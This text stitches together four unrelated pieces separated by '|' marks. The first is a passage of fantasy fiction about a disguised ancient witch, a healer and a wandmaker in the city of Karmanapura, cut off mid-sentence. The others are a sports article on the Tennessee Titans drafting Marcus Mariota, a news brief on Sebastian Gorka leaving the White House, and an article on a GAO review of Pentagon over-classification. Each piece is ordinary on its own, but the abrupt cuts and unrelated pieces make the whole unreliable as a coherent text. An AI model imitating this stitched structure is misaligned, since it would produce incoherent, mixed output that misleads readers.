date-stuffed fish… are you saying you don't want any now?" The roll of her eyes showed that she was ready to start her teenage years, but she wasn't quite there yet and she scrambled to her feet obediently. She wasn't upright for long; she paled as she stood, wavering and nearly collapsing against Mallika. The foreign woman reacted instantly, letting her staff fall to catch the girl by the shoulders. "Aya!" Rahji cried in alarm. "'m fine, 'm fine," she said, though her words slurred. Mallika held her steady as Rahn kneeled down, taking one of the thin girl's hands in his own. "Deep breath, Ayati. Come now… deep breath." After a moment she obeyed, inhaling deeply. "Hold it… little longer… and now out. In again…" After a few repetitions the colour of her face was much improved, and she was steady on her feet. Mallika released her grasp on her, stepping back and picking up her staff. Meanwhile Sakah had laid a hand on his granddaughter's shoulder, both to comfort her and hold her steady if she stumbled. Rahji had scrambled to his feet, looking on with worry. "How do you feel?" Sakah asked. Ayati looked up at him, her skin returned to its normal chestnut hue, though darker circles remained under her eyes. "I'm fine, I just stood up too fast. I'm sorry, Grandfather." He patted her on the shoulder. "You did nothing wrong, we just worry. Come now, let's get you home and back to bed." Ayati groaned. "None of that. Do you want me to carry you?" She huffed, blowing away a lock of hair that was as dark as the night sky. "I'm twelve, Grandfather! I'm too big for you to carry. I can walk." The old man made a show of looking the diminutive girl up and down. "Too big? Or maybe you think I'm too old, eh?" "I help with that," Mallika said. Before anyone could ask what she meant, she tapped Ayati lightly on the shoulder with her staff. The girl blinked, then her eyes went wide. "Whoooooa!" "What? What did she do?" Rahji asked. "Pick me up!" she crowed, turning to him, her earlier weakness forgotten. He obeyed, gently grasping her around the waist, and nearly stumbled when he hefted her as easily as he might lift a cloth bag. "You're so light!" He swung her around as she giggled in his grip. "Gently, Rahji, don't make her dizzy," Rahn cautioned, holding out a hand. The boy looked sheepish, carefully setting her down. She hopped over to Sakah and grinned up at him. "You can carry me now, Grandfather!" Sakah raised a white eyebrow and lifted her, one brow rising in surprise as he shifted her onto his back. "Well now, that's an innovative use of magic." "Was that the Levitation charm?" Rahji asked eagerly. "Not quite," Mallika said. "Levitation charm lifts… this spell makes light, so easy to lift. Similar, but different. What name this?" she asked, pointing at the feather - which still stubbornly hung in the air. "A feather?" "Yes! Feather. Feather-light charm. Ayati will be light until reaches her bed." "That's a very useful spell, especially for one my age," Sakah remarked. He bounced his granddaughter on his back a little, marvelling at the ease of it. "And obvious, now that I see it. A bit embarrassing that I never thought of it before… maybe we just think too much about getting magic to do all the work. Could I trouble you to show it to me, Mallika?" "Of course. Easy spell." Rahji was tempted to ask that she teach him too, but to do so - especially right in front of his proper Master - would be rude beyond belief. Instead he gave Sakah a begging look. "Yes, then I can teach it to you too, Rahji," the old man said. "Later, though, after you've properly grasped the Hovering charm. For now, let's get home and feed you, Ayati." He bounced the girl on his back again, making her giggle. "I haven't done this since you barely reached my knee. Thank you, Mallika." "Thank you, Mallika!" Ayati echoed. "Good night, Rahji. Good night, Master Rahn." The others echoed the farewells, even Mallika in her hesitant speech. After a moment, Rahn turned to look at the pair who remained. "Well, something to eat sounds like a good idea. Do you like melon, Mallika?" She bowed slightly. "I thank for any you give." "It's my pleasure. Come, Rahji." The two adults filed out of the room, and Rahji made to follow. As he reached the cloth hanging he paused and turned, looking at his feather - which still hung, stubbornly, in the air above the table. "Um… how do I make it stop?" It wasn't the first time Rahn had had a guest in his home, nor even the first time he'd offered shelter for someone to whom he was acting as healer. However, he couldn't claim to have housed a person with such an… established reputation as Wadjet. He took it as a good sign that she preferred to travel under and be introduced as her new pseudonym. It meant that she wanted to be treated as any other witch, not burdened with any expectations that may or may not be based in reality. So that meant he'd treat her like any other guest, like any other person he'd do magical research with, like any other patient. Even if that meant waking her up at the crack of dawn. "Mallika?" His head poked in through the curtain that separated her room from the others. He'd offered her a bed in the same room as he and Rahji, but the witch had simply said that she preferred to sleep alone. When sticking his head into the guest room he'd realized why, feeling the wards she'd erected play lightly across his skin. Nothing hostile - she was not so rude as to cast offensive wards in another's home - only simple notification charms. For all the good they did. Despite the wards and despite his calling to her, the only reaction he received was sleepy grumbling from under the linen blankets. In the dim morning light he saw a mass of wild black hair shift. "Mallika." That brought a reaction; she jerked upward, and her staff flew across the room into her hands. She said something in a language Rahn didn't recognize, blinking wearily in the dark. He gave her a moment to gather her wits - not coming inside, but not retreating, either. My goodness, her hair was a fright in the morning. He gave her a cheerful smile. "Good morning." She simply blinked at him. "Rahn?" She looked down at the staff in her hands, confused, then glanced at where the barest hints of daylight were beginning to seep through the slotted wooden shutters over the windows. "What-... what time is?" "It's time to get up! Come, Rahji and I will wait for you in the courtyard." "Court-... what?" "Courtyard. It's the open space in the middle," he replied, deliberately misunderstanding. "Come now, you wished to start our work together as early as possible, right?" "Early?" she nearly screeched. "Yes! Come, meet us outside. And if you can, wear something easy to move in." "Rahn, what-" But he had already pulled his head out of the room. He heard the bed groan as she flopped backwards, snarling something in what he assumed was Kemetic. He grinned to himself and walked away. He and Rahji were already out in the courtyard, stretching upon the thin grasses, when she finally joined them. The light was dim but brightening, the air cool and pleasant, as he helped Rahji stretch his shoulders. Around them the city was all but silent; the only sounds to be heard were the odd bird and the morning breeze brushing gently over top the flat roofs of the surround buildings. As befitted his station, Rahn's home had a large courtyard, with the well situated in one corner and the rest of the area scraped flat. It was the perfect place to practice the exercises he'd designed himself as part of his studies after he'd finished training under his Master. The mere concept of "exercise" was a strange one to others, muggle and godstouched alike. For muggles, who had to work every single day just to have food and warmth, the entire idea of adding more, pointless work was ridiculous. The godstouched firmly believed that their magic was a gift from the gods meant to spare them from such labours. Rahn was well familiar with the odd looks his practices earned, but for him, it was never about work. It was time with his son, who had eagerly joined him every morning since he was four. It was memories of Sumati, of slowly falling in love with her as he helped her recover from the vicious fever that nearly took her life. The exercises were about aligning the mind, body, and spirit. They were about facing the day with strength, but not strength that had anything to do with muscles. It was about connecting with the body in order to deepen the connection with the soul. It was the natural place to start with a problem as unusual as Mallika's… not that she might realize that right away; she walked toward them, staff in hand, wearing her robes from the day before and an utterly confused expression on her face. "You have no other clothes?" Rahn remarked. "It's understandable, but I should warn you, those robes will get dusty." "What…" She looked at the pair of them, baffled; Rahn briefly wondered how often someone so old encountered something strange and new. "What is this?" "It's stretching… exercise," he explained, gesturing towards Rahji. The boy had one leg extended in front of him while the other curled behind, and was leaning forward, touching his chest to his thigh. Although his son was likely to grow up with a stockier frame like his mother, he was flexible enough that even his father was envious. Stating the obvious did nothing to ease his guest's confusion. She stared blankly at him. "Why?" "To stay fit. To stay flexible. To keep the body healthy," Rahn replied. "Godstouched… we use magic, and perhaps we use magic too much. It makes us strong in one way, but weaker in others. Look at muggles: they use their muscles, and their bodies become strong, and they always have them. We godstouched, we are stronger… until we lose our wands, then we become weaker than any muggle. We do this so our bodies don't become weak." He left Rahji to his own stretching, then sat down cross-legged on the ground, rotating his own shoulders. He gestured to a patch of grass in front of him. "Come, Mallika… join us. This is part of the help I promised you." She stared at him, aghast. "This… this serves no purpose!" "It serves many purposes. Come and try it. It will help, I promise." "But… this is nothing with mind. Nothing with memory! Why waste time?" she snapped, thumping her staff against the ground in irritation. He fixed her with a glare. "Mallika, you came to me for help," he said sternly. "This is part of the help I offer. There is a purpose to it, but I will not force you to participate. If you judge my methods useless, then it means you think you know better than me. And if that's the case, why do you need me at all?" Her eyes went wide, and her jaw dropped a little. He kept his gaze steady; she likely wasn't used to anyone speaking to her in such a manner. He had no doubt that she was the authority in Kemet… her reputation would demand it, even if she didn't. But here, in Karmanapura, it was different. She had to trust him - not just to keep her secrets, but to trust that he knew what he was doing. He watched her struggle with her own pride for a moment. Then, finally, she wilted just a little. She sat down without a word, setting her staff on the ground behind her. Rahn didn't claim victory, or thank her for agreeing, or even indicate she'd argued at all. He didn't comment on how her robes were likely to pick up dust and grass stains. Instead, he simply helped her warm up and stretch, teaching her the stretches and poses, trying not to think about how he'd just reprimanded a woman old enough to have witnessed his great-great-grandmother being born. To her credit, she took the lessons quietly, and put some real effort into applying them; he had to remind her not to overexert and hurt herself. She was stiff, but not ridiculously so - no more so than any other godstouched, anyway. It made the contrast between her apparent age and her actual age all the more shocking. No matter how ridiculous some of the poses - and he would admit, some of them looked pretty silly - she did them all, as best she could, without complaint. When the day had truly begun and he heard the city around them begin to wake, he pronounced that what they'd done was good enough for her first time. Rahji, gifted with the endless energy and bottomless appetite of adolescence, dashed into the house to fetch something to eat before Sakah arrived to begin his magical lessons. Standing up, Rahn envied the boy as he stretched his back, loosening the last of his kinks; unlike his son (and Mallika), age was starting to catch up with him. He looked down at the witch, who still sat in a crumpled heap on the ground. She hadn't had time to brush and braid her hair that morning, and it stuck out in all directions like a thousand black tendrils. He tried not to smirk as he squatted down next to her. "How do you feel?" "I feel tired," she groaned, giving him a disgruntled glance. "More tired than before sleep! And… little hurts?" "Sore?" he offered. "Yes, sore. Tired and sore," she grumbled. "What purpose this? How it helps?" "Lay back," he instructed. She gave him a look, and he simply gestured. Hesitantly, she obeyed, stretching out on the ground. As he expected, the position she took was one better suited for burial than relaxing, her ankles pressed together and her hands gripping each other tightly. "No, not like that. Lay back, relax. Let your arms and legs be limp." After giving him another quizzical glance, she did so, letting her arms slide onto the ground. She wasn't completely relaxed, but it was a start. "Now, close your eyes." That earned him a truly suspicious glance, but she did. "Think only of breathing. Like with Ayati last night: take a breath, hold it… and then let it out. And again: in, hold, and out." He let his voice become soft, almost droning. "Think of wind. It breezes gently, and the trees sway, and the leaves rustle. Then the wind stops, and the trees relax. Then again. Back and forth… in and out." Her face had gone slack, and he could see her muscles had gone loose. Her hair was a raven-coloured fan on the thin grasses around her, and she was likely near falling asleep. "Now," he said, his voice in its more normal tone, "what are you thinking of right now?" Her eyes jerked open, and she gave him a puzzled look. "I think of… I think of wind. Like you said." "Yes," he replied with a pleased smile. "You thought of wind. Not of being sore, or being hungry, or how annoyed you are with me. You didn't think of spells, or of getting a house here in the city, or of what you left behind in Kemet. Just wind." He tapped the side of his head. "The mind is like a river: it is easier to cross when it is gentle. But the body wants to move, it wants to do things, and it asks the mind to think of things to do! This makes rapids in the mind. So we tire the body… and for a little while it stops making demands, and the mind becomes gentle. Easier to cross. Do you understand?" She was quiet a moment… possibly translating his words in her head. He knew when she grasped the concept when her eyes widened just a bit. "Yes. I… understand. Thank you." He nodded and stood up from his crouch. "Good. Now, would you like to come have some melon and dates with me?" She groaned from her spot on the ground. "No, I am still sore. And tired. I wish to sleep." "Then sleep. I'll tell Rahji and the servants to leave you alone." "No, no. I will come. Ah… in a moment." He nodded, grinning. He turned to go inside, pausing when she called to him from her spot on the ground. "Rahn?" "Yes?" She fidgeted as she lay on the ground. "I am sorry for my words. It was not proper. It is bad of me to question your ways." "Questions are fine, Mallika," he said. Her head turned, and she looked at him with a small frown. "Always question… but give the questions a chance to be answered. That is how progress is made." She paused, thinking; then she nodded. He smiled at her and then turned and entered the house. Despite her protests, the witch ended up falling asleep where she lay in the courtyard. Rahn took Rahji and the few servants of the household aside and warned them not to disturb her… in fact, they should probably stay out of the courtyard entirely, judging from her reaction when he'd first woken her. She ended up sleeping just until the sun began poking over the flat, reed-and-plaster roof of the house and down into the courtyard, but by then Rahn had left to go to the citadel and deal with the normal duties of being First. It was the normal run of a day: merchants and taxes, broken up by the slightly more interesting cases of a diplomat from Harappa and a village leader from the north. The Harappan man wanted to work together with Karmanapura to condition the roads between the two cities for easier cart travel, while the villager had come to ask for help dealing with a dragon had come down from the mountains and was eating livestock. Rahn promised the diplomat that smoothing the roads sounded like a worthwhile investment, and tasked the head of the city guard with putting together a group to hunt the dragon, granting him full authority to recruit as many muggle spearmen and godstouched casters as he felt was necessary. It was difficult not to volunteer himself. He hadn't seen a dragon in person in years. The summer sun was just starting to dip toward the city walls when Rahn arrived back home. Sakah was still present, having just finished the day's lessons with Rahji. Ayati had joined them again, and Rahn was pleased to see her - the sickly girl was a ray of sunshine who spread cheer everywhere she went, even affecting dour and serious Mallika. Rahji was eager to show them all the Featherlight charm that Sakah had taught him, the old master having learned it from Mallika just that morning. "She went out a bit after noon," his son answered when Rahn asked where their guest had gone. "Will she be coming back? You're going to work on magic with her, right?" "It's a bit more complex than that, but I think so, yes. She has a problem she needs my help solving, but it's not my place to tell of it." "You'll help her," Rahji said with such utter faith that Rahn couldn't hide a pleased smile. "Then she'll have time to teach us more new magic!" his son added eagerly. Rahn rolled his eyes, but he was rather hoping for that outcome as well. Sakah and his granddaughter agreed to stay for dinner that night, a delicious combination of spiced mutton and lentils cooked by Vida, the woman who had run the household since Rahn himself was a boy. The four had just sat down to eat, a fifth copper plate and wooden spoon sitting at one end of the table, when Mallika entered the room, setting her staff into a corner. She looked down at the four of them, an accomplished expression on her face. "I have purchased house," she announced as she sat down to the meal. She scooped a spoonful of lentils into her mouth and made a pleased sound. "Really?" Rahn said, surprised. "That was quick. Where is it?" "In high city, at inside wall. South? Yes, south side." "Ah, I know the home you speak of. It's on the fifth alley… it belonged to a wealthy merchant who died several years ago. It's lain empty ever since. It'll be good to have someone resident there again." Rahn frowned. "That must have cost you a fortune. His brother had set the price a bit high, in my opinion." She shrugged. "I argue, get better price. And I bring… eh, bright metal?" "Arguing for a better price is called haggling. And bright metal… do you mean silver?" "Silver is grey, yes? No, I mean…" She fumbled for the word, then looked around the room for an object she could use as an example. Not finding what she needed, she finally shrugged. As they watched, she reached up and untied the small braid on the side of her head, removing one of the beads and placing it on the table. When she tapped it with a finger it shifted form, turning into a small gold brick the length of Rahn's palm and half as wide. The children breathed in awe, and even Sakah's eyes were huge. "Gold," Rahn said, a little bit awed himself. "Well, no wonder he sold it to you, if you waved one of those under his nose." "Mallika, are you able to transfigure beads into gold?" Sakah asked disbelievingly. She shook her hair, and the small braid that still had several beads on it waved back and forth. Rahn didn't call attention to it, to the ridiculous fortune he now knew his guest was carrying in her hair. "No, no. Magic making… gold, not possible. Not magic I know. But… take gold, turn into bead, easier to carry. When needed, turn back. That is possible." "I knew Kemet possessed powerful magics, but people mostly speak of their wards," the old man said, shaking his head. "I hadn't realized transfiguration was so advanced there." "It… is not, in whole," Mallika answered carefully. "I know more than many." Sensing that Sakah would eventually start asking questions about Mallika's talent relative to other Kemetic godstouched - which would force her to either lie, or risk revealing herself - Rahn decided to head it off. "Mallika is an extremely talented witch. It's one of the reasons why I'm glad to host her," he said honestly. Sakah nodded. The adults chatted, often about matters of magic, while the children looked on with interest. Ayati was fascinated by all things magical, even if she couldn't cast herself. She was thrilled when Mallika picked up her staff to transfigure the gold brick back into a bead - a jade bead, even. "Why do you use a staff instead of a wand?" the girl asked curiously. "All wizards and witches in Kemet use staff," Mallika replied. "We do not have wands. Truly, I would like to get wand for me. Can you give directions for going to maker of wands?" She was looking to Rahn, but it was Sakah who spoke. "I don't think it would be too much trouble for us to show you the way tomorrow. Consider it thanks for showing me that Featherlight charm." She nodded her head in thanks. "I would very appreciate, thank you." Mallika slept late, largely because she'd been up deep into the night warding her new home. Kemet was known for its wards, after all, and she wasn't going to put anything less than her best effort into her home-away-from-home, no matter whether she was acting under a new identity or not. It was… nice, to leave Wadjet behind, even if only for a little while. It was difficult to make friends in her homeland - Wadjet was simply too old, too powerful… too strange. `Mallika' was strange, of course, but she was also young, new. She had no reputation. She wasn't surrounded by whispers, of speculation that she may be neteru - a spirit or god - a theory that was surprisingly hard to disprove, no matter how she knew it wasn't true! The children weren't frightened of her, the men weren't intimidated. She'd been surprised and even a little bit pleased by the crude flirting of the boys she'd met outside the city… at least until the idiots thought they could touch her without permission. Even Rahn had passed her little test, when she'd complained about his physical exercises and he'd properly called her out on it. It was as important for him to claim his expertise to her as it was for her to recognize it, and he had. Granted, being woken so early was irritating, so her indignation wasn't completely feigned; it was all the worse because she knew it was something she was going to have to get used to, if she was going to follow his regimen. And she was - despite her tiredness, she'd gotten up at the break of dawn that morning and dragged herself over to his home to exercise with the First and his son. Then she'd shuffled back to her new home and collapsed onto her mattress to sleep some more. She slept very well, she'd give him that. They hadn't even really begun, and she was already feeling good about Karmanapura, about her decision to travel so far. Rahn, who knew the truth, could look at her and not be blinded by Wadjet. He was every bit as pensive and wise as his reputation said. Because of that, she had hope that he could help her find out who she'd been before… the woman she'd been and lost, buried in the mists of time. Until then she was happy simply being Mallika. So it was Mallika, not Wadjet, who opened the door to her home to greet the elderly Sakah and the two grinning children near noon. They stood in the alleyway that stretched perpendicular to the wider main roads that stretched across the length of the wealthier part of Karmanapura. Windows and doors would face the small alleys so as to collect less dust as oxen and carts rolled up and down the wider thoroughfares, which were usually wide enough that two carts could pass each other without difficulty. Most of the larger streets were even covered in brick, covering the sewage drains which ran throughout the city. Karmanapura was sophisticated in ways that astonished even the ancient witch. She was actually very impressed by the city and its layout, which had an order and logic to it. The white walls from which Inbu-Hedj took its name would always hold a special place in her heart, of course, but Karmanapura felt efficient and adventurous… like it was a place where things happened. "Good morning, Mallika," Sakah greeted. He was wearing a trefoil drape dyed a deep red, a colour she liked. Ayati's sari was a vibrant yellow, wrapped carefully around her and topped with a shawl around her shoulders, a strange arrangement for such a warm day. Rahji looked quite comfortable in his simple red dhoti. Their colourful garb reminded her that she needed to think about purchasing some clothing along with her other needs; she was likely to be resident for quite a while, and her new home was all but empty. "Good morning, Master Sakah," she echoed. She wasn't sure if calling him Master was appropriate, but he was the elder as far as he knew, and being too polite was better than being too crude. Her long journey to Karmanapura via Harappa had offered her the chance to learn the basics of the local tongue, but there were still plenty of holes in her grammar and vocabulary, and one was never entirely sure of the local customs until exposed to them. "Ah, just Sakah, Mallika. You may be younger, but you are a witch who stands on her own. We are equals… and friends, I hope." She smiled after translating his words in her head. "I would like that, Sakah. And Ayati, and Rahji!" Rahji smiled politely, but the young girl grinned unreservedly. "Did you sleep well the first night in your new house?" "I did. However it is still very empty, and I need many things." "Well, he wandmaker's house is not far from the market - perhaps we can stop by and you can inspect the wares of the merchants there. I know my granddaughter certainly likes searching for treasures there." He gently squeezed Ayati's shoulder as she rolled her eyes. "That is good," Mallika said. She smiled down at the girl. "She speaks better than I, she can haggling for me!" "Haggle," Ayati corrected. "Haggling is while doing." "Now, Ayati…" Sakah began sternly. "No, no," Mallika stopped him. "She say to help me, not mock me. Is what friends do! Thank you, Ayati." The girl looked down, her cheeks turning darker as she blushed with the praise. "We go now, yes? Give moment." She ducked inside just long enough to grab her staff and her small cloth purse, trying the latter around her waist. Inside was a single one of her gold bars; it wouldn't do to release the transfiguration which held the others as simple beads in front of a merchant, particularly a muggle one… they might wonder whether they were being tricked. She wasn't particularly worried about her purse being stolen - anyone who tried was in for a nasty surprise - but it was simply easier to carry her valuables as light beads woven into her hair. It looked better, too. The three natives escorted the newcomer through the streets of Karmanapura. It was almost noon, and the city was as alive as any living thing, filled with people moving about, carts full of goods rolling from the high city to the low and back. They passed women carrying seed or grain in terracotta pots on their heads, men carefully driving ox-pulled carts up the wide main streets, and wealthy merchants gesturing broadly as they argued some point of business. At one point the four had to hug a wall to let a herd of goats pass, driven along by a handful of young boys. A gentle breeze blew, carrying away the scents of the animals and sweat and the sewage that flowed through the channel hidden beneath the street. The city was cooler than distant Kemet, but she'd learned not to take chances; she pulled up her hood, shielding her skin from the high sun. Avoiding sunburn was something she'd simply always done, long into her forgotten past; not for the first time she envied the sepia skin tones of the others, letting them bear the brightness far more comfortably. Near the horizon dark clouds gathered, and Sakah eyed them suspiciously. "Looks like we can expect rain later in the day. Come, let's not dawdle." He waved the children on with a gesture not unlike the boys who had been herding the goats, and Mallika resisted a laugh as he visibly stopped himself before doing the same to her. Instead she gave him a smirk (causing the old man to blush slightly) and hooked his arm with her own. He eventually lead them to a house closer to the citadel which had the unmistakable shape of a wand carved into the brick above the door. Sakah knocked confidently on the wooden door, and after a moment it swung inward to reveal a dark-skinned woman, only slightly younger than the wizard himself, her light gray hair bundled into a bun at the base of her neck. Wrinkles radiated around her eyes, the result of many hours squinting as she delicately crafted the essentials of any wizard's existence. She squinted. "Master Sakah… and young Rahji! I didn't expect to see you again so soon… is something wrong with your apprentice's wand? Reed and unicorn hair should have worked for him-" "Oh, no no, Catanya. Rahji's wand works quite well. In fact, he's already grasped the Levitation charm! No, we're here seeking a new wand for my companion." He gestured toward the white-clad witch. "This is Mallika… a visitor from Kemet, believe it or not. She's working together with Rahn, and she'll likely be staying in the city for a while. She's expressed interest in obtaining a wand while she's here." The wandmaker raised her eyebrows as she looked at the younger-seeming woman with interest. "Ah, Kemet? Then that would be your staff, then?" Mallika bowed her head briefly as she lifted her staff. "Yes, Mistress." "Handy, but bulky. I can see why you'd like a wand. Come in, come in." She stepped aside, letting the four inside. The house had two floors, and the bottom floor was obviously devoted to the wandcrafter's vocation. Terracotta pots filled with components lined the walls, while reed baskets were filled with prepared wand shafts. A pile of pillows over a blanket were set in one corner, a comfortable place for Catanya to sit while she worked her craft. Off to the group's right were stairs reaching up into the upper floor, where the wandcrafter had her living space. She lead them over to the work area, gesturing widely at the wooden shafts and magical ingredients. "Now, all my wands are custom-made, Mistress Mallika," she began. "Normally I have to test and establish the best core and shaft for the wielder, but in this case we can consider simply downscaling your staff. May I see it?" Mallika hesitated only slightly before handing the long wooden focus over. Catanya took hold of it with the respect and care expected as if it was her own; she ran her hands down the worn and polished shaft, holding it in front of her as she closed her eyes. When she opened them again it was to reveal a surprised look. "This is a strong focus," she commented. "It sings of life, and has channeled powerful magic. I do not recognize the wood, and I can't view the core without damaging it. May I ask who crafted this for you? What are the components?" "Is... persea and phoenix feather. I think I make myself," she replied uncomfortably. Catanya gave her an odd look, and she grudgingly added, "Is why I come to Rahn… I forget things, he will help me remember." Catanya blinked at the admission, as did the others. "Oh. I apologize." Realizing that Mallika wasn't keen to elaborate, she turned back to the staff. "I have heard of persea, but never held it… I'm afraid I won't be able to duplicate that, but hopefully one of the other woods will like you well enough. As for the phoenix feather, that is unusual, too… I'll need to check-" "That, I have," Mallika said. She reached into her cloth bag and pulled out a single feather; it was the length of her hand and seemed to glow scarlet-gold in the reflected light from the windows as if it had been plucked from the bird only moments before. Ayati made a soft oooh at the sight of it. "Oh, very convenient." Catanya took the proffered feather. As she held it, she paused, looking back and forth between the staff and the feather. She frowned, and looked up at Mallika. "I… There is a witch of Kemet… she is said to wield a staff of persea and phoenix-" "I know of her," Mallika interrupted firmly. Catanya blinked again. "Oh. Of course you would." She didn't press further, but Mallika didn't miss the suspicious look the wandcrafter gave her. She sighed internally. "Which wand wood you thinking best?" Though she was familiar with crafting staves, she'd never made a wand before, and so she paid careful attention as Catanya set about determining what wand wood suited her. Because she'd provided the proper core already, it proved to be a ridiculously easy process: Catanya would simply insert the feather into one of the prepared wand blanks and let Mallika wave it experimentally. Most produced no effect at all, or a mere smattering of blue sparks. One turned Ayati's hair white and fluffy like the coat of a sheep, and the girl groaned with disappointment when her grandfather dispelled the effect with a tap of his wand. The combination of jujube wood and phoenix feather resulted in the house being filled with quacking, like a thousand ducks had settled in to roost; the nonplussed witch was forced to reclaim her staff to dispel the cacophony when both Catanya and Sakah proved unable. Finally she was handed one more wand, and the very instant her skin touched wood she knew. Warmth flowed up her arm all the way to her shoulder, and very distantly she heard phoenix song, song that she knew meant happy greetings - greetings to a friend long parted. The wand felt of warmth… and familiarity, though she couldn't remember ever having held a wand before that day. She let out a slow, shaky breath. "This one," she whispered. She waved the wand, and golden sparks dripped like water to the floor. "Holly," Catanya said, "the wand of a protector." Mallika glanced up at her, and from the look alone she knew that the wandcrafter was certain who she was. But she was being circumspect about it, and Mallika felt gratitude. "This is wand for me?" she asked, respect and thanks in her voice. Catanya smiled. "Not quite yet. First we must make sure it's the right length." Rather than reaching for the measuring string, the wandcrafter instead had her roll up the sleeve of her robe, and pl |
The Tennessee Titans have to hope that the third time is the charm in looking for a franchise quarterback. By drafting Marcus Mariota with the second overall pick the Titans are putting the team's fortunes – and those of Coach Ken Whisenhunt and general manager Ruston Webster – in his hands. Twice before in the past nine years, the Titans have swung and missed in trying to find their first true franchise quarterback since trading Steve McNair in 2005. Both Vince Young and Jake Locker showed some, but in the end, not enough of the necessary qualities it takes to make a franchise QB. In 2006, at the insistence of owner Bud Adams, the Titans spent the third pick in the draft on Young. Young's initial burst was dazzling, as he helped the Titans rebound from an 0-5 start to finish 8-8 and was named the NFL's Offensive Rookie of the Year, largely on his intangibles and instincts, rather than his throwing of the football. And though Young posted a very respectable 30-18 record as a starting quarterback, his issues with immaturity and a lukewarm (at best) relationship with his coaches helped in his undoing. But more than that, it was Young's lack of dedication to his craft and the fact that he never grew knowledge-wise beyond anything but an instinct player that played a bigger role in his downfall. The Titans released him, and after a year as a backup in Philadelphia, he never stuck on an NFL roster again after age 28. After jettisoning Young after 2010, the Titans decided on Locker with the eighth pick of the 2011 draft. In many ways, Locker was the anti-VY - studious, hard-working and humble to a fault. Locker's main bugaboo, of course, were the many injuries he suffered during a four-year run that eventually played a role in his retiring rather than going through free agency. For all of his athletic ability (a trait he did share with Young), Locker was also plagued by accuracy issues in his throws at times. And though his football IQ was far superior to Young's, there were still many who questioned his ability to successfully read a defense and make the proper check at the line. It didn't help that he went through three offensive coordinators in three-and-a-half years before finally being benched in 2014. So what gives the Titans assurances that Mariota will succeed where Young and Locker did not? It may sound crazy, but Mariota, in the Titans' assessment of him, actually possesses some of positive qualities that both Young and Locker had. He is on par athletically with both of them, and has that winning type of attitude that helped VY to his early success. Like both Young and Locker, teammates in college gravitated to him as a leader, though his personality appears to be much more like the low-key Locker than Young. "At Oregon, we talked about winning the day. That culture for me is kind of instilled," Mariota said. "I’ll kind of bring that with me, and it won’t change who I am, and will hopefully provide some of that here. For the most part, just be who I am and get to know my teammates and earn their respect and move forward from there." And unlike Locker, Mariota has no serious injury issues to speak of. But where the Titans believe Mariota can far surpass what both accomplished is in his intelligence. The one thing that convinced Tennessee that a spread-option quarterback who had rarely taken a snap under center at Oregon can eventually excel in a pro-style offense is Mariota's football IQ. “We feel good about the time that we spent with Marcus,” Titans coach Ken Whisenhunt said of the evaluation process. “I think just from the standpoint of spending time with him there in Oregon and going through his tape, one of the things I really liked in the process was we sent him a book with some information before he came in for the visit with us and we were able to talk about that in our terminology.” Mariota's recall ability to process information quickly and thoroughly can be a huge asset in the development of his learning curve. “For me, I think having the ability to recall information, especially at the quarterback position, is really helpful. It’s a benefit to be able to recall certain things, certain coverages during a game, during a series,” Mariota said. “For me, in a transition process like right now, it’s helpful to recall information that’s kind of similar to what’s being run here in terms of an offensive system. Being able to relate the two and being able to learn that way will help me in this transition.” It was that off-the-charts quality in the Heisman Trophy winner that has the Titans banking that their new franchise quarterback has finally arrived. |
By Vivian Salama, The Associated Press WASHINGTON — An adviser to President Donald Trump will be leaving the White House A senior administration official says Sebastian Gorka, a former counterterrorism analyst for Fox News who joined the administration as a counterterrorism adviser, will be leaving the White House in the coming days. The official says that Gorka had initially been hired to play a key role on the Strategic Initiatives Group, an advisory panel created by Trump’s chief strategist Steve Bannon to run parallel to the National Security Council. But that group fizzled out in the early months of the administration. Gorka was unable to get clearance for the National Security Council after he was charged last year with carrying a weapon at Ronald Reagan Washington National Airport. The official spoke anonymously to discuss private personnel matters. Attempts to reach Gorka by email for comment were not immediately successful. |
Government auditors announced this week that they will review how the Pentagon decides if documents should be kept secret, with an eye toward determining whether the Department of Defense engages in “classification inflation.” That it does seems clear, argue US lawmakers, who add that the challenge will be finding the right balance between transparency and secrecy. It’s a question that has been at the heart of hearings into the activities of the National Security Agency (NSA) leaked by Edward Snowden, and the trial of Army Pfc. Bradley Manning, who is awaiting sentencing for releasing documents that his defense team contends may have been embarrassing to the government but did not threaten US national security. The secrecy audit, which will be conducted by the Government Accountability Office (GAO), comes at the behest of Rep. Duncan Hunter (R) of California, who called for the assessment in June. Representative Hunter specifically requested that the report examine “whether narrowing classification requirements would reduce the need for nearly 5 million individuals to hold security clearances, and whether reducing that number would limit security disclosures.” It will also delve into “the degree to which material is classified that does not materially impact national security.” The GAO review is a “very promising” development, says Steven Aftergood, director of the Federation of American Scientists’ Project on Government Secrecy. “Congress has been negligent in my opinion in exercising oversight of classification policy.” What’s more, the Pentagon “is by far the largest classifier in the executive branch,” he adds. This in turn leads to other complications. In particular, “people are being issued security clearances strictly for the purposes of managing all of this classified information,” says Joe Kasper, spokesman for Hunter. “There’s this idea that everything is classified – everything is a protected secret,” Mr. Kasper adds, noting that the proper figures may be closer to “five or six out of every ten” documents. This over-classification, he says, “can be done for the purpose of withholding information from Congress, or from the public.” As an example, some congressional staffers point to a recent unfavorable report that the GAO produced on the US military’s Distributed Common Ground System, a computer program that US troops use to process intelligence in war zones. The GAO found that Pentagon testers gave the system a failing grade, noting that it does not do its job properly and is particularly vulnerable to cyberattack. The report was released in June, while Congress was deliberating on the defense budget. Instead of making the report available to the public, as most GAO reports are, Pentagon officials designated the report “for official use only,” which means that the government did not have to turn it over if, for example, news organizations were to request the document through the Freedom of Information Act. “The Army chose to classify that document in such a way that prevented the GAO from displaying it on its web site. It’s very easy to put a classification on a document to keep it out of public view,” says a congressional staffer, who was not authorized to speak about the GAO report and asked to remain anonymous. “There was nothing in that report that included national security secrets, but the Army used the classification process in that moment to keep that report off the web site and available for anyone to access. “That’s a very low-level example, but if it’s happening at that level, it’s happening everywhere,” the staffer said. What’s more, with each passing year, the number of classified documents compounds. As a result, the key is not only to examine how documents are classified, but also to have a more timely process for declassification, analysts say. Currently, there is “robust disagreement” both within the intelligence community and within federal agencies about what should be classified, says Aftergood. Mr. Manning's disclosures and Mr. Snowden’s NSA leaks offer two prime examples. “Many people would say, ‘Gosh, I wanted to know that. I think it should have been disclosed,’ ” Mr. Aftergood says. “But ask anyone in the intelligence community and they will say it was properly classified all along. There are genuine disagreements.” So how best to reform the classification system? One approach might be to involve “people who are impartial and who have no interest and no stake in the classification process to participate,” Aftergood says. If government agencies use a program manager who has a stake in the outcome of a weapons program, for example, “They are naturally going to have a self-interest in what gets disclosed. Even if their intentions are consciously honorable, their perceptions are going to be 